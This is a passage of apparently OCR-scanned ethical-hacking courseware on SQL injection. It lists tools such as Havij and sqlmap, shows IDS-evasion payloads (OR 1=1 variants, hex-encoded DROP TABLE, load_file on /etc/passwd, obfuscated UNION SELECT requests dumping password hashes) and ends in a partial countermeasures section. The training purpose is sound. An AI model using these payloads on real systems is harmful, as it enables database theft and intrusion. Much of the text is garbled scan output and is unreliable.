TVBPNrM*JJvN2lncSI>W9UJOpHt»»«> 7‫־‬ ■ Is true p-«3>%2BS!:1r:CT*IIN%?8%79tX.Wo00te-l*co<>‫>«־‬tft»Aet-|Jtl SAfr-y%>t tpr-‫׳‬M«VI ■ OMA O ^ ! V/tm 1 4 71‫ ר‬tJiMII'. lvN/%rr- f> II llipll**.‫״׳‬ Y/l IstriM; p-«l>X?BSIin^CTtlFNX?8X2, .X/6looelc-l»cop-ms»*r«-4ill «Ah-y%>» *MAvr- | J ‫י‬ Ipr-d-fcM ‫׳‬XKM ‫״‬W/tm«_1 71‫ , ר‬rM•‫י‬JvN ^ rr- •tM.1 111 N % ‘ 1 (4 SQL Power Injector is an application created in .Net 1.1 that helps the penetration tester to find and exploit SQL injections on a web page h ttp://www. sq !powerinjector. com Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited. SQL I n je c tio n T o o ls: SQ L P o w e r I n je c to r Source: http://www.sqlpoweriniector.com SQL Power Injector helps attackers find and exploit SQL injections on a web page. It is SQL Server, Oracle, MySQL, Sybase/Adaptive Server and DB2 compliant, but it is possible to use it with any existing DBMS when using inline injection (normal mode). It can also be used to perform blind SQL injection. Module 14 Page 2094 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker FIGURE 14.24: SQL Power Injector Screenshot Module 14 Page 2095 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker SQL Inj ection Tool: Havij CEH Urtiftetf ttkujl lUck•* Using this SQL injection tool, an attacker can perform back-end database fingerprint, retrieve DBMS users and password hashes, dump tables and columns, fetch data from the database, run SQL statements and even access the underlying file system and executing commands on the operating system wty tt o /px g * 13 - Q.cm g.a )3!-2 n □njwr e ot t‫■׳‬ !**• (Z 1 * Ci• x ‫ו‬ ‫•י‬ * M r™ [‫ ] ן‬is 3 ‫ן‬ !w 1 ; twiu|1 » •0 ; ‫״‬u1 0? !** * ft« «lMN *m1 !* 1•‫יי‬y wn I0lnc 1 fi—I ?lllC M• K■J*U C M *hMll• di*ah o h * ‫ * 1 ״‬M m uMc ‫ <« י‬imi * t A *• m A o dc m oDN U # 1 > 1 * x Mr /0‫־‬wM M J( W Iw>4 f ik4 t>v1 4 1 rvW [VDft*Incu icir nibL« !«c t <f C c LJF< nntoa co dc r n r k Mkm i iSO R k e ‫יי : ! י ו‬ inita h ttp://www. itsecteam. com Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited. S Q L I n j e c t i o n T o o l s : H a v ij Source: http://www.itsecteam.com Havij is an automated SQL injection tool that helps attackers find and exploit SQL Injection vulnerabilities on a web page. With the help of this tool, an attacker can perform backend database fingerprint, retrieve DBMS users and password hashes, dump tables and columns, fetching data from the database, running SQL statements, and even accessing the underlying file system and executing commands on the operating system. Module 14 Page 2096 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker !n o ^ T :/wwrfl« c Vn « » > - :U Cp / » U t.c n 1dxip 1 1 d □ [aur •ferC a trd atc e rt_ Kfx - » re frtty/f^ww.urgttcom/^dtK.iepyia-123 0 I* U* ‫ך‬ Havij □ V » * 1 [Auto OeterT‫־‬ Auto Detect Ajto Detect He<‫>׳‬od |GET v] Auto Detea P iDta w^ PoiIDm s □ Retd n o ■ OndS'fiff ■ a flurry * Find Adm Jl Havij •Advanced SQL Injection Tool Version 1.15 Free Copyright © 2009-2011 By r3< O Jm v3 □ FV f. oN | 19080‫ ן‬I □ UfOHtmt tyrt«x»«« UNIOMniectcre CeMnnCart: Tiws otf toccnd) [v} HBp feadas Uan Ag«rt L&»dCoo».c Airt'entctfon D*l»J<r1*ctcn /ak* ( 10| ~ ‫| ך‬g | |p | || | h ttp ://ITSecTearn .com http://forum .Itsecteann.com nfo0esecte31n.com Check for update U*»AS*£ M«to/4.0 Iccmp^ibte; MSIE 7 0 Wntom g D not r«d c<Arm* o r t r McSQLwth tea © Cj Fofcxi■icAsdcro MsSQL with error MsSQL no error MsSQL 8&nd (Pro Version) MsSQL tiire based (Pro Version) MsAccess M Acccjs Blind (Pro Version) j SUtvr: ‫ וויו‬OLE ~ $hcv‫ ׳‬F*ou*cte S u rn L tMe r IDE FIGURE 14.25: Havij Screenshot Module 14 Page 2097 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker SQL In j e c tio n T ools ‫מיו‬ SQL Brute http://w w w .gdssecurity.com ‫ל‬ — • CEH Urti*W Blind Sql Injection Brute Forcer h ttp ://co d e, google, com BobCat Q [■■) itkM l lUckw sqlmap http://w w w .northern-m onkee.co.uk h ttp ://sq lm a p . org SQL Injection Digger h t tp ://s qid. ruby forge, org uuu a□□ Pangolin http://n ose c.org ------- Absinthe SQLPAT h ttp ://w w w .darknet.org. uk h ttp ://w w w .cq u re .n e t Copyright © by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited. SQL I n je c tio n T o o ls There are some more SQL injection tools that attackers can use to perform SQL injection attacks. These include: e SQL Brute available at http://www.gdssecurity.com « BobCat available at http://www.northern-monkee.co.uk Q Sqlninja available at http://sqlninja.sourceforge.net Q sqlget available at http://www.darknet.org.uk Q Absinthe available at http://www.darknet.org.uk Q Blind Sql Injection Brute Forcer available at http://code.google.com Q sqlmap available at http://sqlmap.org e SQL Injection Digger available at http://sqid.rubyforge.org e Pangolin available at http://nosec.org 9 SQLPAT available at http://www.cqure.net Module 14 Page 2098 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker SQL I n je c tio n T ools CEH (C o n t’d) ‫ם‬ FJ-lnjector Framework Sqllnjector http://so urcefo rg e . net h ttp ://w w w . woanware. co. uk Exploiter (beta) h ttp ://w w w . ibm.com 3 ^ L Jp S r J W Automagic SQL Injector http://w w w .securiteam .com SQL Inject-Me http://labs.securitycompass.com 111 j Sqlsus NTO SQL Invader http://sqlsus.sourceforge.net h ttp ://w w w .nto bje cti/es. com SQLEXEC() Function The Mole h ttp ://m s d n . microsoft. com h ttp://them ole.nasel.com .ar Copyright © by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited. S Q L I n j e c t i o n T o o l s ( C o n t ’d) In addition to the previously mentioned tools, a few more SQL Injection tools are readily available in the market and are listed as follows: a FJ-lnjector Framework available at http://sourceforge.net e Exploiter (beta) available at http://www.ibm.com Q SQLIer available at http://bcable.net Q Sqlsus available at http://sqlsus.sourceforge.net Q SQ LEXEC () Function available at http://msdn.microsoft.com e Sqllnjector available at http://www.woanware.co.uk Q Automagic SQL Injector available at http://www.securiteam.com e SQL Inject-Me available at http://labs.securitycompass.com e NTO SQL Invader available at http://www.ntobiectives.com a The Mole available at http://themole.nasel.com.ar Module 14 Page 2099 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Copyright © by EC-ClllCil. All Rights Reserved. Reproduction Is Strictly Prohibited. M o d u le F lo w Evasion techniques are the techniques adopted by the attacker for modifying the attack payload in such a way that they cannot be detected by firewalls. Simple evasion techniques include hex encoding, manipulating white spaces, in-line comments, manipulating white spaces, sophisticated matches, char encoding, and hex coding and they are discussed in detail on the following slides. SQL Injection Concepts * ^ Advanced SQL Injection Testing for SQL Injection |j|||r SQL Injection Tools Types of SQL Injection ^ Evasion Techniques Blind SQL Injection !/ 2 ) Countermeasures V‫— ׳‬ SQL Injection Methodology Module 14 Page 2100 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker CEH E v a d in g IDS *.... > SQL Injection Attack Internet Firewall IDS Filters Attackers use evasion techniques to obscure input strings in order to avoid detection by signature-based detection systems Signature-based detection systems build a database of SQL injection attack strings (signatures) and then compare input strings Security Admin Attacker ‫־‬ M -— 1 p # against the signature database at runtime to detect attacks ‫״״‬M ‫־‬ ‫א‬ J 1 .... 1 Network OS Shell Actual Data Database W eb Application Copyright © by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited. E v a d in g ID S s Attackers use evasion techniques to obscure input strings in order to avoid detection by signature-based detection systems. Signature-based detection systems build a database of SQL injection attack strings (signatures) and then compare input strings against the signature database at runtime to detect attacks. If any information provided matches the attack signatures present in the database, then it immediately sets off an alarm. This kind of problem is more in network-based IDS systems (NIDSs) and also in signature-based NIDS systems. So attackers should be very careful and try to attack the system by bypassing the signature-based IDS. Attackers use evasion techniques to obscure input strings in order to avoid detection by signature-based detection systems. Module 14 Page 2101 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Network Exam 312-50 Certified Ethical Hacker OS Shell Actual Data Web Application FIGURE 14.26: Evading IDSs Module 14 Page 2102 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Types o f Signature Evasion T echniques lE ? In-line C o m m e n t So p h isticated M a tc h e s O b scures input strings by U ses a lte rn a tiv e inserting in-line co m m e n ts expression o f "O R 1=1" b e tw e e n S Q L keyw o rds Hex Encoding C har Encoding U ses built-in CH A R Uses h ex adecim al fu n ctio n to re p rese n t a en co din g to re p rese n t a c h a ra c te r SQ L q u e ry string M a n ip u la tin g W h ite Spaces String C on caten atio n O b scures input strings by dropping C o n ca te n ates text to c re a te SQ L w h ite sp ace b e tw e e n SQ L keyw o rd keyw o rd using D B specific instructions O bfuscated Codes O b fuscated co d e is an SQ L sta te m e n t th a t has b een m a d e difficult to u nd erstan d Copyright © by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited. T y p e s of S ig n a tu re E v a sio n T e c h n iq u e s The following are the various types of signature evasion techniques: 9 Sophisticated Matches: Uses alternative expression of "OR 1=1". e Hex Coding: Uses hexadecimal encoding to represent a SQL query string. e Manipulating White Spaces: W hite space diversity is one of the signatures used to prevent SQL injection attacks. In this, a sequence of two or more expressions are separated by a white space for a simple reason. A single word SELECT may generate a lot of false positives. The expression UNION SELECT may generate a good signature. If the signature isn't built properly, the signature is of no use and is highly prone to attacks. Q In-line Comment: Obscures input strings by inserting in-line comments between SQL keywords. Q Char Encoding: Uses built-in CHAR function to represent a character. e String Concatenation: Concatenates text to create SQL keyword using DB specific instructions. e Obfuscated Codes: Obfuscated code is a SQL statement that has been made difficult to understand. Module 14 Page 2103 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Evasion Technique: Sophisticated M atches SQL Injection Characters Evading 1OR 1=1 signature ■ 1OR 'john1= ,john' ■ 1OR 'microsoft1= lmicrol+'softl ' — or " character String Indicators or # single-line comment ■ 1OR 'movies' = N'movies' ■ ' OR 'software' like 'soft%' /*...*/ multiple-line comment + addition, concatenate (or space in URL) I | (double pipe) concatenate % wildcard attribute indicator ?Paraml=foo&Parara2=bar URL ' OR 'best' > 'b' ' OR 'whatever' IN ('whatever') , OR 5 BETWEEN 1 AND 7 Parameters P R IN T useful as non-transactional command (?variable local variable 00variable global variable waitfor delay '0:0:10' time delay An IDS signature may be looking for the 'OR 1=1. Replacing this string with another string will have same effect. Copyright © by EG-Gtnncil. All Rights Reserved. Reproduction Is Strictly Prohibited. E v a sio n T e c h n iq u e : S o p h istic a te d M a tc h e s Attackers use the sophisticated matches evasion technique to trick and bypass user authentication. This uses an alternative expression of "OR 1=1" Attacker uses OR 1=1 attack OR ljohn,=ljohn' If this doesn't work, the attacker tricks the system by adding N to the second string. 'Or 'movies'=N'movies'. This method is very useful in signature evasion for evading advanced systems. SQL Injection Characters 1o r " character String Indicators - or # single-line comment / * ...* / multiple-line comment + addition, concatenate (or space in url) | | (double pipe) concatenate % wildcard attribute indicator ?Paraml=foo&Param2=bar URL Parameters Module 14 Page 2104 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker PRINT useful as non-transactional command variable local variable®( variable global variable ®(®( waitfor delay '0:0:10' time delay Evading ' OR 1=1 signature 'OR 'j 0 hn' = ,john 1 'OR 'microsoft' = ,micro'+'soft ' 'OR 'movies' = N'movies ' '% OR 'software' like 'soft ' OR ' 7 < 1 OR 'best' > ,b 1 ‫־‬ ' )'OR 'whatever' IN ('whatever OR 5 BETWEEN 1 AND, Module 14 Page 2105 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Evasion Technique: Hex Encoding C EH Hex encoding evasion technique uses hexadecim al encoding to represent a string For example, the string 'SELECT1can be represented by th e hexadecimal num ber 0x73656c656374, which most likely will not be detected by a signature protection mechanism Using a Hex Value String to Hex Examples ; declare @x varchar(80); set @x = 0x73656c6563742040407665 7273696f6e ; EXEC (@x) SELECT (®(®version = 0x73656c6S6374204 04076657273696f6 © This statement uses no single quotes (') t o DROP Table CreditCard =0x44524f502054 61626C652043726S64697443617264 INSERT into USERS ('Juggyboy', 'qwerty') = 0x494e5345525420696e74 6f2055534552532028274a7 5676779426f79272c202771 77657274792729 Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited. E v a sio n T e c h n iq u e : H ex E n c o d in g Hex encoding is used to represent characters in URLs. Some URLs contain %20; that is a hex encoding. %20 is used as a single space as the URL doesn't have any actual spaces. Most alphanumeric characters use hex encodings. Many intrusion detection systems (IDSs) don't recognize hex encodings. This feature is utilized by attackers. Hex coding provides countless ways for attackers to obfuscate each URL. The hex encoding evasion technique uses hexa decimal encoding to represent a string. For example, The string 'SELECT' can be represented by the hexadecimal number 0x73656c656374, which most likely will not be detected by a signature-protection mechanism. Using a hex value ; d e c la r e 0x v a rc h a r(8 0 ); set @x = 0 x 7 3 6 5 6 c 6 5 6 3 7 4 2 0 4 0 4 0 7 6 6 5 7 2 7 3 6 9 6 f6 e ; EXEC (@x) This statement uses no single quotes ('). String to Hex Examples SELECT @ 0 v e r s io n DROP T a b le = 0 x 7 3 6 5 6 c 6 5 6 3 7 4 2 0 4 0 4 0 7 6 6 5 7 2 7 3 6 9 6 f6 C r e d it C a r d = 0 x 4 4 5 2 4 f5 0 2 0 5 4 6 1 6 2 6 c 6 5 2 0 4 3 7 2 6 5 6 4 6 9 7 4 4 3 6 1 7 2 6 4 IN S E R T in t o USERS ( ‫ י‬Ju g g y b o y ' , ' q w e r t y ' ) = 0x4 9 4 e 5 3 4 5 5 2 5 4 2 0 6 9 6 e 7 4 6 f2 0 5 5 5 3 4 5 5 2 5 3 2 0 2 8 2 7 4 a 7 5 6 7 6 7 7 942 6 f7 9 2 7 2 c 2 0 2 7 7 177657274792729 Module 14 Page 2106 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Evasion Technique: M anipulating W hite Spaces J W hite space manipulation technique obfuscates input strings by dropping or adding white spaces between SQL keyword and string or number literals without altering execution of SQL statements J CEH Adding white spaces using special characters like tab, carriage return, or linefeeds makes an SQL statement completely untraceable without changing the execution of the statement "U N IO N S E L E C T ‫ ״‬signature is different from ‫״‬U NIO N S E L E C T " J Dropping spaces from SQL statements will not affect its execution by some of the SQL databases 'O R '!'‫( ' !' ־‬with no spaces) Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited. E v a sio n T e c h n iq u e : M a n ip u la tin g W h ite S p a c e s Many modern signature-based SQL injection detection engines are capable of detecting attacks related to variations in the number and encoding of white spaces around malicious SQL code. But they fail to handle white spaces around the same code. These detection engines fail in detecting the same kind of text without spaces. Attackers remove white spaces from the query. 0 The white space manipulation technique obfuscates input strings by dropping or adding white spaces between the SQL keyword and string or number literals without altering execution of SQL statements 0 Adding white spaces using special characters like tab, carriage return, or linefeeds makes a SQL statement completely untraceable without changing the execution of the statement ‫״‬UNION SELECT" signature is different from ‫״‬UNION SELECT" 0 Dropping spaces from SQL statements will not affect its execution by some of the SQL databases 'O R T = T (with no spaces) Module 14 Page 2107 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Evasion Technique: In-line C om m ent Evade signatures th a t filter w h ite spaces J In this technique, white spaces between SQL keywords are replaced by inserting in-line comments J /* ... * / is used in SQL to delimit multirow comments U N IO N / ** / S E L E C T / ** / '/ * * / O R / * * / l / * * / = / * * / l J This allows to spread the injection commands through multiple fields USERNAME: PASSWORD: > ‫© ךן‬ 3 ®rr ® rr 0r r ® rr ®‫®ח‬ ® T r ‫ י‬o r 1 /* */ =1 — Copyright © by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited. E v a sio n T e c h n iq u e : In -lin e C o m m e n t Evade signatures that filter white spaces. In this technique, white spaces between SQL keywords are replaced by inserting in-line comments. /* ... * / is used in SQL to delimit multirow comments U N IO N / * * / S E L E C T / * * / 1/ * * / 0 R / * * / l / * * / = / * * / l This allows spreading the injection commands through multiple fields. USERN A M E: ' PASSW O RD : */ Module 14 Page 2108 or 1/* =1 - Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Evasion Technique: Char Encoding C h a r ( ) function can be used to inject SQL injection statements into MySQL without using double quotes Inject w ith o u t quotes (string = Check for existing files (string = "n.ext"): ' or username like char(37); ' and 1=( if( ( l o a d _ f i l e ( c h a r (110,4 6 , 1 0 1 , 1 2 0 , 1 1 6 ) ) o c h a r (39,39) ) ,1,0) ) ; Load files in unions (string = "/etc/passwd"): Inject without quotes (string = "root"): ' union select 1, (load_file(char ( 4 7 , 1 0 1 , 1 1 6 , 9 9 , 4 7 , 1 1 2 , 9 7 ,1 1 5 ,1 1 5 ,1 1 9 ,1 0 0 ))),1 ,1 ,1 ; 1 union select * from users where login = c h a r ( 1 1 4 , 1 1 1 , 1 1 1 , 1 1 6 ) ; Copyright © by EC-CMMCil. All RightsJte£erve<i;Reproduction is Strictly Prohibited. E v a sio n T e c h n iq u e : C h a r E n c o d in g i To evade IDSs/lPSs, attackers use Char()function w to inject SQL injection statements into MySQL without using double quotes. Load files in unions (s t r in g = "/ e tc / p a s s w d ") : 1 u n io n s e le c t 1, (4 7 ,1 0 1 ,1 16,99 ,47,112,97,115,115,119 ,100) ) ) ,1 ,1 ,1 ; (lo a d _ f ile (c h a r Inject without quotes (s tr in g = "%"):' or u sern am e lik e c h a r (3 7 ) ; Inject without quotes (s tr in g = "ro o t") 1 s e le c t u n io n * fro m u sers w h ere lo g in = c h a r (1 1 4 ,111, 111,116) ; Check for existing files (s t r in g ' and Module 14 Page 2109 = "n .e x t"): 1=( if ( (lo a d f i l e (c h a r (110 , 46,101,120 ,116) )O ch ar (39 , 39) ) , 1, 0) ) ; Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Evasion Technique: String Concatenation CEH Split instructions to avoid signature detection by using execution commands that allow you to concatenate text in a database server . ) SEL O r a c le :1; , •• O / i ••: ‫..־‬ ex e c u t e < TABLE ( + } ECTUS ( + } M S SQ L: ' ; LE ex ec , im m e d ia t e : + ER s e l AB ( ‫י‬d r o ‫+ י‬ , p 1 ( > } ‫ןן‬ : + : ,ec (O t PT u s ‫׳‬ + ': ‫ן ן‬ )0 ‫׳‬e DRO r 1 ((* ‫ ׳ ♦ ׳‬ab ‫ , + ׳‬l e ‫) ׳‬ t (H A N O ) INSE ( + RTUS ( O / + 1 MYSQL: ‫; י‬ e x e c u t e co n cat ( ‫ י‬in s e > : er ‫י , י‬r t u s ‫,י‬ ‫׳‬e r ‫) ׳‬ & Compose SQL statement by concatenating strings instead of parameterized query Copyright © by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited. E v a s io n T e c h n iq u e : S trin g C o n c a te n a tio n The SQL engine builds a single string from multiple pieces so the attacker, with the help of concatenation, breaks up identifiable keywords to evade intrusion detection systems. Concatenation syntaxes may vary from database to database. Split instructions to avoid signature detection by using execution commands that allow concatenating text in a database server. Module 14 Page 2110 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Split instructions to avoid signature detection by using execution commands that a llo w to concatenate text in a database server SEL O racle : ‫; ׳‬ exec ute ............................ • + ECTUS ....................................... SELECT...... + : ER > ................... .. ..........!>•■. USER ... . • « •... ... •‫• ״‬ i m m e d ia t e ‫׳‬s el ‫׳‬ ect u s , 1‫׳‬ 1 || ,e r ‫׳‬ ............. . . . . . . . . . . ........ 1‫• • ן־,־.»־‬ ........................... ............................ TABLE .*/...«•/.■ ■■.• .• • .v , M S SQL: ' ; EXEC •••••• •••••• ( ,DRO‫' + ׳‬P T ‫ ׳ + ׳‬AB' + 'L E ') ............ .,...JSJr ‫־‬ / INSERT USER MYSQL: ‫ ; י‬EXECUTE CONCAT ( ' IN S E ' , ' RT US ' , ' E R ' ) Compose SQL statem ent by concatenating strings instead of parameterized query F IG U R E 14.27: Evading Techniques by Using String Co ncaten ation Module 14 Page 2111 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • ‫ך‬ ‫ך‬ Obfuscated "qwerty" Examples of obfuscated codes for the string "qw erty": Reverse(concat(if(1, char(121), 2),0x74, right(left(0x567210, 2),1), lower(mid(‫ י‬T E S T 2,1)),replace(0x7074, 'pt','wf),char(instr(123321, 33)+110))) Concat(unhex(left(crc32(31337),3)-400), unhex(ceil(atan(1)*100-2)), unhex(round(log(2)*100)-4), char(114), char(right(cot(31337),2)+54), char(pow(11, 2))) An example of bypassing signatures (obfuscated code for request): The following request corresponds to the application signature: /?id-l+union+(select+1,2+from+test.users) The signatures can be bypassed by modifying the above request: /?id=(1)union(selEct(1),mid(hash,1,32)from(test.users)) /?id=l+union+(sELect ‫, י 1י‬concat(login,hash)from+test.users) /?id=(1)union(((((((select(l),hex(hash)from(test.users)))))))) Copyright © by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited. E v a sio n T e c h n iq u e : O b fu s c a te d C o d e s Attackers obfuscate code so that they are not recognized by the intrusion detection system. Examples of obfuscated codes for the string "qwerty": R e v e r s e ( c o n c a t ( i f ( 1 , c h a r (1 2 1 ) ,2 ) , 0 x 7 4 , r i g h t ( l e f t (0 x 5 6 7 2 1 0 ,2 ) ,1 ) , l o w e r ( m i d ( 1T E S T ' , 2 , 1 ) ) , r e p l a c e ( 0 x 7 0 7 4 , ' p t ' , ' w ' ) , c h a r ( i n s t r (1 2 3 3 2 1 ,3 3 )+ 1 1 0 )) ) C o n c a t (u n h e x (le f t (c r c 3 2 (3 1 3 3 7 ),3 )- 4 0 0 ), u n h e x ( c e il( a t a n (1 )* 1 0 0 - 2 )), u n h e x (r o u n d (lo g (2 )* 1 0 0 )- 4 ), c h a r(p o w (1 1 ,2 ))) c h a r (1 1 4 ),c h a r ( r ig h t ( c o t ( 3 1 3 3 7 ) ,2 )+ 5 4 ), An example of bypassing signatures (obfuscated code for request): The following request corresponds to the application signature: / ? id = l+ u n io n + (s e le c t + 1 , 2 + fro m + te s t. u s e r s ) The s ig n a tu r e s can be bypassed by m o d if y in g th e above re q u e st: / ? id = ( 1 ) u n i o n ( s e l E c t ( 1 ) ,m id (h a s h , 1 , 3 2 ) f r o m ( t e s t . u s e r s ) ) / ? id = l+ u n io n + (s E L e c t ' 1 ' , c o n c a t ( lo g in , h a s h )fr o m + t e s t . u s e r s ) / ? id = (1 )u n io n ( ( ( ( ( ( ( s e l e c t ( 1 ) , h e x (h a s h )fr o m (te s t.u s e r s ) ) ) ) ) ) ) ) Module 14 Page 2112 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Copyright © by EC-ClllCil. All Rights Reserved. Reproduction Is Strictly Prohibited. M o d u le F lo w So far, we have discussed various concepts and topics that help you penetrate the web application or network to test for SQL vulnerabilities. Now we will discuss the countermeasures to be applied to protect web applications against SQL injection attacks. A countermeasure is an act or method, device, or system that can be used to avoid the side effects of vulnerabilities and malicious events that can in turn compromise the assets of an organization or computer in a network. This can be a response to defend the negative event. (^jjj^) SQL Injection Concepts * Advanced SQL Injection SQL Injection Tools Testing for SQL Injection Types of SQL Injection ( • r- ^ Evasion Techniques Blind SQL Injection ^ Countermeasures Module 14 Page 2113 V— ‫׳‬ Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker This section highlights various SQL injection countermeasures. Module 14 Page 2114 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker How to D efend A gainst SQL Injection Attacks CEH Why Web Applications are Vulnerable to SQL Injection Attacks? Run database service account with minimal rights T r Monitor DB traffic using an IDS, WAP Database server runs OS commands Disable commands like xp_cmdshell ~ Use low privileged account for DB connection Using privileged account to connect to the Database Error message revealing important information Filter All Client Data Suppress all error .....messages {£=*) — H o w to D e f e n d A g a i n s t S Q L I n j e c t i o n A t t a c k s Implementing consistent coding standards, minimizing privileges, and firewalling the server help in defending against SQL injection attacks. M in im iz in g P riv ile g es Developers generally neglect security aspects while creating a new application, and tend to leave those matters to the end of the development cycle. However, security matters should be a priority, and adequate steps must be incorporated during the development stage itself. It is important to create a low-privilege account first, and begin to add permissions only as they are needed. The benefit to addressing security early is that it allows developers to address security concerns as features are added, so they can be identified and fixed easily. In addition, developers become much more familiar with the security framework, if they are forced to comply with it throughout the project's lifetime. The payoff is usually a more secure product that does not require the last minute security scramble that inevitably occurs when customers complain that their security policies do not allow applications to run outside of the system administrator's context. Im p le m e n tin g C o n sisten t C oding S tand ards ‫ ׳ — *י‬Successful planning of the whole security infrastructure that would be integrated into — Module 14 Page 2115 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker a product should be carried out. Apart from this, a set of standards and policies with which every developer must comply should be laid down. Take, for example, a policy for performing data access. Developers are generally allowed to use whatever data access method they like. This usually results in a multitude of data access methods, each exhibiting unique security concerns. A more prudent policy would be to dictate certain guidelines that guarantee similarity in each developer's routines. This consistency would greatly enhance both the maintainability and security of the product, provided the policy is sound. Another useful coding policy is to ensure that all input validation checks are performed on the server. Although it is sometimes a performance technique to carry out data entry validation on the client, since it minimizes round-trips to the server, it should not be assumed that the user is actually conforming to that validation when they post information. In the end, all input validation checks should occur on the server. of o£ □ -)~ —‫־‬ — F irew a llin g th e SQL Server It is a good idea to firewall the server so that only trusted clients can contact it— in most web environments, the only hosts that need to connect to SQL Server are the administrative network (if one is there) and the web server(s) that it services. Typically, SQL Server needs to connect only to a backup server. SQL Server 2000 listens by default on named pipes (using Microsoft networking on TCP ports 139 and 445) as well as TCP port 1433 and UDP port 1434 (the port used by the SQL ‫״‬Slammer" worm). If the server lockdown is good enough, it should be able to help mitigate the risk of the following: Q Developers uploading unauthorized/insecure scripts and components to the web server e Misapplied patches 9 Administrative errors Module 14 Page 2116 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker How to D efend Against SQL Injection Attacks (cont’ ) d ii Make no assumptions about the size, type, or content of the data that is received by your application S CEH Test the size and data type of input and enforce appropriate limits to prevent buffer overruns 6 Test the content of string variables and accept only expected values - Reject entries that contain binary data, escape sequences, and comment characters _ Never build Transact-SQL statements directly from user input and use stored procedures to validate user input 6 Implement multiple layers of validation and never concatenate user input that is not validated Copyright © by EG-GlOOCil. All Rights Reserved. Reproduction is Strictly Prohibited. H o w to D e f e n d A g a i n s t S Q L I n j e c t i o n A t t a c k s ( C o n t ’d) Attackers use SQL injections to gain unauthorized access into the system or network. The following things should be done to defend against SQL injection attacks. a Make no assumptions about the size, type, or content of the data that is received by your application. e Test the size and data type of input and enforce appropriate limits to prevent buffer overruns. Q Test the content of string variables and accept only expected values. Q Reject entries that contain binary data, escape 